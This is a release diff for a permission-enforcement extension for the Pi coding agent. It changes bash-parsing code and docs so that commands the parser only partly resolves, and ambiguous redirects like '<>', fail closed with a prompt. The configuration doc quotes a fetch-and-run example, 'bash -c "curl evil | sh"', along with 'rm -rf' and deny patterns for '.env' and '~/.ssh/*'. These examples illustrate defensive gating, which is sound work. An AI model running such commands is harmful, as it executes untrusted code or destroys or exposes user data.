@gotgenes/pi-permission-system 31.0.0 → 31.0.2

package/CHANGELOG.md

@@ -5,6 +5,32 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [31.0.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.1...pi-permission-system-v31.0.2) (2026-09-04)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** prompt on a bash command whose parse could not be resolved ([2665c21](https://github.com/gotgenes/pi-packages/commit/2665c21f483bdaf57cb54826f8e19a1a8da493f3)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
+
+### Documentation
+
+* **pi-permission-system:** record the fail-closed floor for an unresolved parse ([33fd390](https://github.com/gotgenes/pi-packages/commit/33fd390106bcae9ed6df324f36b3cf7e01f5e5a7)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
+
+## [31.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.0...pi-permission-system-v31.0.1) (2026-09-03)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** consult both path directions for a redirect the parser could not resolve ([0327feb](https://github.com/gotgenes/pi-packages/commit/0327feb9d2cefc47fcebe724ee94cf9949a8749a)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
+
+### Documentation
+
+* **pi-permission-system:** commit the instrument behind the unresolved-redirect measurement ([757affe](https://github.com/gotgenes/pi-packages/commit/757affeac19400bf7764c9f06fa58bf18ccafc1e)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
+* **pi-permission-system:** mark Phase 14 Step 12 complete ([07d23ef](https://github.com/gotgenes/pi-packages/commit/07d23ef6cffb954058ff2f8fe43917a937de437f)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
+* **pi-permission-system:** register the unresolved-redirect measurement script ([8203898](https://github.com/gotgenes/pi-packages/commit/8203898bd2dadb62ae72e5bedb579bbaf062cf03)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
+* **pi-permission-system:** state the unresolved-redirect residual as a parse fact ([e74c2fc](https://github.com/gotgenes/pi-packages/commit/e74c2fc3c63bf4a18b63334e1fb9b24565fb36b2)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
+* **pi-permission-system:** describe the unresolvable-redirect rule as users meet it ([9e57a90](https://github.com/gotgenes/pi-packages/commit/9e57a909e7719fbfa670ad3ec153e5aa2faf1510)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
+
 ## [31.0.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v30.2.0...pi-permission-system-v31.0.0) (2026-09-02)
 
 

package/README.md

@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
 - **Gates MCP and skill access** at server, tool, and skill-name granularity
 - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
 - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
-- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
+- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and a bash command the parser could not resolve, in whole or in part — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
 - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
 - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
 - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration

package/docs/configuration.md

@@ -430,6 +430,11 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
 - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
   A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
   An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
+- A command the parser could only *partly* resolve is floored the same way (the synthetic `<unparsed-bash-subtree>` pattern in the review log).
+  Recovered structure is not evidence of what runs, so any command unit at or beneath the statement holding the unresolved region has its `allow` clamped up to `ask`; an explicit `deny` or `ask` on that unit still decides.
+  The prompt names the **whole** command rather than the unit, because a partial failure can drop a command from the parse entirely and the fragment that did parse is not what you need to see.
+  A statement beside the failed one keeps its own rule.
+  Most such commands are simply malformed, and the shell would refuse them too — but not all: `git commit -F - <<'MSG' 2>&1 | tail -4` is valid bash that `tree-sitter-bash` cannot parse, because a heredoc redirect combined with `2>&1` **and** a pipe defeats the grammar though each pairing alone is fine.
 - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
   An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
@@ -438,8 +443,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
   An `allow` is clamped to `ask`, and an explicit `deny` still denies.
   The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
 
-Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
+Every synthetic `ask` above — the two parse sentinels and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
 An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
+Approving one for the session works normally: the floors clamp the decision and leave the grant's provenance intact, so a command you have already approved does not prompt again.
 
 Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
 A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
@@ -766,6 +772,11 @@ A tool's identity establishes its direction, and on the bash surface a redirect
 An access whose direction cannot be established consults **both** surfaces and takes the more restrictive answer.
 That is deliberate: an unproven access is never treated as the narrower one.
 
+A redirect the parser could not make sense of is unproven for the same reason.
+The read-write open `<>` is the clearest case: `tree-sitter-bash` has no node for it, so neither half of the operator can be trusted to describe the whole, and its destination consults both surfaces rather than the one the surviving half would name.
+The rule is about the parse rather than about `<>`, so it also covers a redirect that is itself well-formed but sits beside something the parser could not read: in `cat $(( > out.txt`, the `> out.txt` consults both surfaces too.
+That is deliberate — a command nobody could parse is the last place to assume a file is only being read — and it does not reach past the neighbour, so a redirect in a later statement keeps its proof.
+
 Attribution is per **token**, not per command, so one invocation can do both: in `cat notes.md > /backup/notes.md`, `notes.md` is a read and `/backup/notes.md` is a write.
 A redirect operator's proof is absolute — it overrides whatever the command in front of it proved, because `> out.txt` writes `out.txt` however read-only that command is.
 When the same path is reached twice with disagreeing directions (`cat a.txt > a.txt`), the two fold to unproven, which consults both surfaces.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "31.0.0",
+  "version": "31.0.2",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {
@@ -92,6 +92,7 @@
     "measure:core-coverage": "node scripts/measure-core-coverage.mjs",
     "measure:statement-descent": "node scripts/measure-statement-descent.mjs",
     "measure:statement-operands": "node scripts/measure-statement-operands.mjs",
+    "measure:unresolved-redirects": "node scripts/measure-unresolved-redirects.mjs",
     "measure:wrapper-transparency": "node scripts/measure-wrapper-transparency.mjs",
     "lint:md": "rumdl check *.md docs/**/*.md",
     "lint": "biome check . && eslint . && pnpm run lint:md"

package/src/access-intent/bash/command-enumeration.ts

@@ -2,7 +2,10 @@ import {
   EXECUTION_HOST_TYPES,
   forEachExecutionIn,
 } from "#src/access-intent/bash/nested-execution";
-import type { TSNode } from "#src/access-intent/bash/parser";
+import {
+  parseUnresolvedWithin,
+  type TSNode,
+} from "#src/access-intent/bash/parser";
 import { redirectMayWriteFile } from "#src/access-intent/bash/redirect-analysis";
 import {
   type CommandWord,
@@ -53,6 +56,13 @@ export interface BashCommand {
    * and an established {@link executedUnit}.
    */
   readonly floorExemption?: FloorExemption;
+  /**
+   * Set when this unit was emitted from, or beneath, a statement holding a
+   * region tree-sitter could not resolve. Its decision is floored to at least
+   * `ask`, because the recovered structure is not evidence of what runs — ADR
+   * 0013 §10's fail-closed base case (#840).
+   */
+  readonly parseUnresolved?: true;
 }
 
 /**
@@ -74,10 +84,18 @@ interface UnitScope {
    * withholds the floor exemption from any wrapper unit beneath it.
    */
   readonly writesViaRedirect: boolean;
+  /**
+   * True when the enclosing statement holds a region tree-sitter could not
+   * resolve, so every unit beneath it is floored rather than trusted (#840).
+   */
+  readonly parseUnresolved: boolean;
 }
 
-/** A top-level command in the current shell, writing no file. */
-const TOP_LEVEL_SCOPE: UnitScope = { writesViaRedirect: false };
+/** A top-level command in the current shell, writing no file, fully parsed. */
+const TOP_LEVEL_SCOPE: UnitScope = {
+  writesViaRedirect: false,
+  parseUnresolved: false,
+};
 
 // ── Node-type vocabulary ─────────────────────────────────────────────────────
 
@@ -184,6 +202,11 @@ const STATEMENT_TYPES = new Set([
  * The enclosing command/statement is always still emitted whole, so adding the
  * nested units can only ever produce a more-restrictive decision, never weaker.
  *
+ * A unit emitted from, or beneath, a statement holding a region tree-sitter
+ * could not resolve is marked {@link BashCommand.parseUnresolved}, so the
+ * verdict fold can floor it rather than match its recovered text against the
+ * bash rules (#840).
+ *
  * Each emitted command unit has any leading `variable_assignment` prefix
  * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
  * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
@@ -197,7 +220,7 @@ export function collectCommands(node: TSNode): BashCommand[] {
 
 function collectCommandsInto(
   node: TSNode,
-  scope: UnitScope,
+  inherited: UnitScope,
   out: BashCommand[],
 ): void {
   // Anonymous tokens (operators `&&`/`;`/`|`, delimiters `$(`/`)`/`` ` ``/`(`)
@@ -205,6 +228,8 @@ function collectCommandsInto(
   if (!node.isNamed) return;
   if (COMMAND_ENUM_SKIP.has(node.type)) return;
 
+  const scope = unresolvedScope(node, inherited);
+
   if (node.type === "command") {
     out.push(makeCommandUnit(node, scope));
     // A command's text already contains any substitution; descend its subtree
@@ -265,6 +290,29 @@ function collectCommandsInto(
   collectHostedCommands(node, out);
 }
 
+/**
+ * The scope `node`'s own subtree establishes, marking it unresolved when
+ * tree-sitter could not parse a region within it (#840).
+ *
+ * The three pure containers are deliberately excluded. `program`, `list`, and
+ * `pipeline` report an error whenever *anything* anywhere beneath them failed,
+ * so asking there would mark every unit of the command and make the answer
+ * per-program rather than per-statement. Excluded, `rm -rf /tmp/y` in
+ * `echo hi > out.txt <> rw.txt; rm -rf /tmp/y` keeps its own rule, while every
+ * unit under the failed statement is floored.
+ *
+ * Over-marking is the fail-closed direction — the flag can only floor an
+ * `allow` up to `ask`, never weaken a decision — which is what makes marking a
+ * whole statement for a failure buried in one of its redirects acceptable.
+ */
+function unresolvedScope(node: TSNode, scope: UnitScope): UnitScope {
+  if (scope.parseUnresolved) return scope;
+  if (COMMAND_ENUM_DESCEND.has(node.type)) return scope;
+  return parseUnresolvedWithin(node)
+    ? { ...scope, parseUnresolved: true }
+    : scope;
+}
+
 /** The wrapper facts a `command` node's words establish about its unit. */
 interface WrapperFacts {
   readonly wrapperKind?: WrapperKind;
@@ -284,7 +332,11 @@ function makeUnit(
   const flagged = wrapperKind ? { ...scoped, wrapperKind } : scoped;
   const named =
     executedUnit === undefined ? flagged : { ...flagged, executedUnit };
-  return floorExemption === undefined ? named : { ...named, floorExemption };
+  const exempted =
+    floorExemption === undefined ? named : { ...named, floorExemption };
+  return scope.parseUnresolved
+    ? { ...exempted, parseUnresolved: true }
+    : exempted;
 }
 
 /**
@@ -423,10 +475,13 @@ function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
   forEachExecutionIn(node, (contextNode, context) => {
     // A nested execution starts fresh: an enclosing statement's redirect is
     // that statement's, not the substitution's, exactly as #807 attributes a
-    // nested command's path tokens to its own command.
+    // nested command's path tokens to its own command. The parse question
+    // starts fresh for the same reason and costs nothing either way — each
+    // statement inside re-asks it of itself, and the enclosing statement's own
+    // units carry the mark regardless, so the verdict is unchanged (#840).
     descendCommandChildren(
       contextNode,
-      { context, writesViaRedirect: false },
+      { context, writesViaRedirect: false, parseUnresolved: false },
       out,
     );
   });

package/src/access-intent/bash/parser.ts

@@ -4,6 +4,11 @@ import { memoizeAsyncWithRetry } from "#src/async-cache";
 /**
  * Minimal subset of web-tree-sitter's SyntaxNode used by the AST walker.
  * Defined locally so callers do not need to import web-tree-sitter types.
+ *
+ * The last two members are the parse's own health, where every other member
+ * describes a *successful* parse's structure. They are read only by this
+ * module's two `parseUnresolved*` predicates — see their doc comments for why
+ * that boundary matters.
  */
 export interface TSNode {
   readonly type: string;
@@ -13,9 +18,70 @@ export interface TSNode {
   readonly childCount: number;
   /** False for anonymous tokens (operators, delimiters); true for named nodes. */
   readonly isNamed: boolean;
+  /** True when this node is an error or missing token, or contains one. */
+  readonly hasError: boolean;
+  /** The node immediately before this one under the same parent, named or not. */
+  readonly previousSibling: TSNode | null;
   child(index: number): TSNode | null;
 }
 
+/**
+ * Whether tree-sitter failed to resolve the syntax at `node`.
+ *
+ * Error recovery disposes of text it cannot attach in one of two places, and
+ * which one it picks depends on what follows. The read-write open `<>`, which
+ * `tree-sitter-bash` 0.25.1 has no node for, shows both: `cat <> rw.txt` keeps
+ * the discarded `>` as an `ERROR` *child* of the redirect, while
+ * `cat <> ~/rw.txt` strands the `<` as an `ERROR` *sibling* ahead of a redirect
+ * that is otherwise indistinguishable from a genuine `> ~/rw.txt`. A reader
+ * that consults only the node's own subtree sees the first and not the second.
+ *
+ * The immediate predecessor, rather than the enclosing statement, is what makes
+ * the answer per-redirect: in `cat a > out.txt <> ~/rw.txt` the statement has
+ * an error but its first redirect is a fully resolved write, and condemning it
+ * would forfeit a proof the parse really did establish.
+ *
+ * The question is about the parse, not about `<>`, so the population is wider
+ * than the form that exposed it: `cat $(( > out.txt` and `echo ) > out.txt`
+ * both carry a perfectly good `> out.txt` whose predecessor failed for an
+ * unrelated reason, and both go unproven. That is the accepted cost, and it is
+ * the same shape as the only real occurrence measured across 5000+ logged
+ * commands — `git commit -F - <<'MSG' 2>&1 | tail -4`, valid bash the grammar
+ * cannot parse (ADR 0013's 2026-08-29 amendment), where the demoted token
+ * belongs to no `<>` either. Over-refusing costs a prompt; under-refusing hands
+ * a write to a read grant.
+ *
+ * This module is the one place {@link TSNode.hasError} and
+ * {@link TSNode.previousSibling} are read. Keeping the lateral navigation here
+ * is deliberate: recovering-parser behavior is a fact about tree-sitter rather
+ * than about any construct, so a caller asks this question instead of
+ * hand-rolling a sibling walk of its own.
+ */
+export function parseUnresolvedAt(node: TSNode): boolean {
+  return node.hasError || (node.previousSibling?.hasError ?? false);
+}
+
+/**
+ * Whether tree-sitter failed to resolve the syntax anywhere within `node`.
+ *
+ * The subtree-only question, and the one a walker descending statements asks:
+ * a statement holding an unresolved region is one whose recovered shape is
+ * invented rather than observed, so nothing beneath it is evidence of what
+ * runs. The failure can sit well below the statement that exposes it —
+ * `git commit -F - <<'MSG' 2>&1 | tail -4` strands its `ERROR` under
+ * `heredoc_redirect → file_redirect`, where no command node sees it.
+ *
+ * {@link parseUnresolvedAt} answers the redirect-shaped question instead,
+ * widening to the immediate predecessor because error recovery strands a
+ * discarded operator ahead of the redirect it belonged to. That widening is a
+ * fact about redirects, not about statements: a statement whose *predecessor*
+ * failed is not itself unparsed, and borrowing the wider predicate here would
+ * condemn every statement following a failed one.
+ */
+export function parseUnresolvedWithin(node: TSNode): boolean {
+  return node.hasError;
+}
+
 /**
  * Minimal subset of web-tree-sitter's Parser used by this module.
  */

package/src/access-intent/bash/redirect-analysis.ts

@@ -1,6 +1,6 @@
 import { redirectDestinationEffect } from "#src/access-intent/bash/command-effects";
-import type { TSNode } from "#src/access-intent/bash/parser";
-import type { TokenEffect } from "#src/access-intent/effect";
+import { parseUnresolvedAt, type TSNode } from "#src/access-intent/bash/parser";
+import { type TokenEffect, UNPROVEN_EFFECT } from "#src/access-intent/effect";
 
 /**
  * What a redirect node in the parse tree proves.
@@ -17,6 +17,11 @@ import type { TokenEffect } from "#src/access-intent/effect";
  * whether it is safe to *remove* the wrapper floor, so it answers with a
  * refusal: anything it cannot resolve counts against the exemption (#803).
  * One reader of the node keeps the two from drifting on what a redirect is.
+ *
+ * The two burdens meet at one fact: whether the parse resolved at all. Both
+ * answers ask `parseUnresolvedAt`, so a syntax form the grammar could not
+ * handle cannot be a proof to one caller and a resolvable read to the other
+ * (#814).
  */
 
 /**
@@ -26,15 +31,28 @@ import type { TokenEffect } from "#src/access-intent/effect";
  * `>&` and `<&` are the two operators that may name either a file descriptor
  * (`2>&1`) or a real file (`cmd >& out`); the destination node's type is the
  * parse-tree fact that tells them apart.
+ *
+ * A redirect the parse could not resolve proves nothing — ADR 0013 §10's base
+ * case, which consults both directional surfaces. Reading a proof off whichever
+ * operator survived error recovery made `cat <> rw.txt` a read and
+ * `cat <> ~/rw.txt` a write, so one command's answer was a function of its
+ * filename, and the read half was a fail-open on a destination the shell may
+ * truncate (#814).
+ *
+ * The demotion applies to a *proof*, never to the `null`: a descriptor
+ * duplication names no file whatever the operator around it did, so demoting
+ * first would emit a descriptor number as a path candidate.
  */
 export function redirectEffectForDestination(
   redirect: TSNode,
   destination: TSNode,
 ): TokenEffect | null {
-  return redirectDestinationEffect(
+  const proven = redirectDestinationEffect(
     redirectOperatorOf(redirect),
     DESCRIPTOR_NODE_TYPES.has(destination.type),
   );
+  if (proven === null) return null;
+  return parseUnresolvedAt(redirect) ? UNPROVEN_EFFECT : proven;
 }
 
 /**
@@ -49,20 +67,24 @@ export function redirectEffectForDestination(
  * shapes least visible to every other surface — the path projection does not
  * collect them either (#609).
  *
- * Only two things clear it: a descriptor duplication (`2>&1`), which names no
- * file, and an operator that proves a read — reading a file alongside a pure
- * reader leaves it a pure reader.
+ * An unresolved parse is refused up front rather than left to the loop. The
+ * loop would usually reach the same answer — a demoted destination is unproven,
+ * which is not a read — but `cat <>&1` parses to a redirect whose only children
+ * are the operator and a descriptor, so the loop finds nothing to refuse on and
+ * clears the exemption for a form nobody understood (#814).
+ *
+ * Past that, only two things clear it: a descriptor duplication (`2>&1`), which
+ * names no file, and an operator that proves a read — reading a file alongside
+ * a pure reader leaves it a pure reader.
  */
 export function redirectMayWriteFile(redirect: TSNode): boolean {
+  if (parseUnresolvedAt(redirect)) return true;
   for (let i = 0; i < redirect.childCount; i++) {
     const child = redirect.child(i);
     // The operator itself is the redirect's only unnamed child.
     if (!child?.isNamed) continue;
     // A source or duplicated descriptor (`2`, `&1`) names no file.
     if (DESCRIPTOR_NODE_TYPES.has(child.type)) continue;
-    // A shape the grammar could not resolve (`<>` degrades to one) says nothing
-    // about direction, so it cannot clear the check.
-    if (child.type === "ERROR") return true;
     if (redirectEffectForDestination(redirect, child)?.effect !== "read") {
       return true;
     }

package/src/bash-advisory-check.ts

@@ -10,8 +10,9 @@ import type { PermissionCheckResult } from "#src/types";
  * command-pattern units and routed through the same shared orchestrator the
  * enforcement gate uses (`resolveBashCommandCheck`) — so a chained/nested
  * command returns the most-restrictive decision (`deny > ask > allow`) and
- * inherits the opaque-wrapper floor (#481) and the fail-closed
- * `<unparseable-bash-command>` sentinel (#452), at parity with the gate.
+ * inherits the opaque-wrapper floor (#481) and both fail-closed parse
+ * sentinels — `<unparseable-bash-command>` (#452) and `<unparsed-bash-subtree>`
+ * (#840) — at parity with the gate.
  *
  * In the pre-warm window (`parseBashCommandsSync` returns `null`) it falls back
  * to the pre-#309 whole-string match, so the advisory answer is never *weaker*

package/src/handlers/gates/bash-command.ts

@@ -40,6 +40,12 @@ import type { PermissionCheckResult } from "#src/types";
  * explicit `deny` covering it denies outright rather than being masked into an
  * approvable prompt (#712).
  *
+ * A *partial* parse failure is the other half of that clause: the units the
+ * recovery produced are enumerated normally, and any one the enumerator marked
+ * {@link BashCommand.parseUnresolved} has its `allow` floored to a synthetic
+ * `ask` naming the whole command (`<unparsed-bash-subtree>`, #840), because
+ * recovered structure is not evidence of what runs.
+ *
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
  * handler, which passes the decomposed `commands` here.
  */
@@ -52,6 +58,12 @@ const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
   indirection: "<indirection-bash-wrapper>",
 };
 
+/**
+ * The synthetic `matchedPattern` recorded when a unit the parse could not
+ * resolve has its `allow` floored to `ask` (ADR 0013 §10, #840).
+ */
+const UNPARSED_SUBTREE_SENTINEL = "<unparsed-bash-subtree>";
+
 export function resolveBashCommandCheck(
   command: string,
   commands: BashCommand[],
@@ -76,25 +88,75 @@ export function resolveBashCommandCheck(
     };
   }
 
-  const results = commands.map((cmd) => {
-    const base = resolveOnBashSurface(cmd.text, agentName, resolver);
-    const floored =
-      cmd.wrapperKind && base.state === "allow"
-        ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
-        : base;
-    const result = cmd.context
-      ? { ...floored, commandContext: cmd.context }
-      : floored;
-    return cmd.executedUnit === undefined
-      ? result
-      : { ...result, executedUnit: cmd.executedUnit };
-  });
+  const results = commands.map((cmd) =>
+    resolveCommandUnit(cmd, command, agentName, resolver),
+  );
   return (
     pickMostRestrictive(results) ??
     resolveOnBashSurface(command, agentName, resolver)
   );
 }
 
+/**
+ * Resolve one command unit of the chain: its own `bash`-surface rule, floored
+ * where the enumerator established a reason to floor it, then tagged with the
+ * facts the prompt and the session-approval suggestion read off the winner.
+ */
+function resolveCommandUnit(
+  cmd: BashCommand,
+  command: string,
+  agentName: string | undefined,
+  resolver: ScopedPermissionResolver,
+): PermissionCheckResult {
+  const base = resolveOnBashSurface(cmd.text, agentName, resolver);
+  const floored =
+    cmd.wrapperKind && base.state === "allow"
+      ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
+      : base;
+  const unparsed = floorUnparsedUnit(cmd, command, floored);
+  const contextual = cmd.context
+    ? { ...unparsed, commandContext: cmd.context }
+    : unparsed;
+  return cmd.executedUnit === undefined
+    ? contextual
+    : { ...contextual, executedUnit: cmd.executedUnit };
+}
+
+/**
+ * Floor a unit the parse could not resolve, so a subtree the fold did not
+ * understand cannot ride a permissive rule (ADR 0013 §10, #840).
+ *
+ * Three properties carry the safety argument.
+ *
+ * The result names the **whole** command, not the unit: the reason for the ask
+ * is that part of the command was not understood, and a partial parse can drop
+ * a command from enumeration entirely, so naming the fragment that did parse
+ * withholds exactly what the user needs to judge it. `command` is also the
+ * session-approval pattern, and a fragment there would grant more than the
+ * prompt showed.
+ *
+ * Only an `allow` is floored, so an explicit `deny` or `ask` on the unit
+ * decides instead — and a wrapper unit already floored to `ask` keeps its own,
+ * more specific sentinel.
+ *
+ * The result is built by spreading `resolved`, so a `source: "session"` grant
+ * survives to `GateRunner`'s session fast path, which tests the source before
+ * the state. A grant the user gave for this exact command still holds.
+ */
+function floorUnparsedUnit(
+  cmd: BashCommand,
+  command: string,
+  resolved: PermissionCheckResult,
+): PermissionCheckResult {
+  if (!cmd.parseUnresolved || resolved.state !== "allow") return resolved;
+  return {
+    ...resolved,
+    state: "ask",
+    command,
+    matchedPattern: UNPARSED_SUBTREE_SENTINEL,
+  };
+}
+
 /**
  * Resolve a wrapper unit whose own text resolved to `allow`.
  *

package/src/handlers/gates/helpers.ts

@@ -159,10 +159,11 @@ export function buildDecisionEvent(
  * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
  * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
  * first arm recognizes that grant. The second arm covers an `ask` synthesized
- * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
- * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
- * cannot reach because the floor is a property of a parsed command unit, not of
- * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
+ * *after* resolution — the bash wrapper floor (#481, #490) and the two
+ * fail-closed parse sentinels, `<unparseable-bash-command>` (#452) and
+ * `<unparsed-bash-subtree>` (#840) — which the ruleset rewrite cannot reach
+ * because the floor is a property of a parsed command unit, not of a pattern
+ * (#712). The synthetic `matchedPattern` is preserved so the review
  * log still shows why the ask was raised, while `origin: "yolo"` records why it
  * was granted.
  *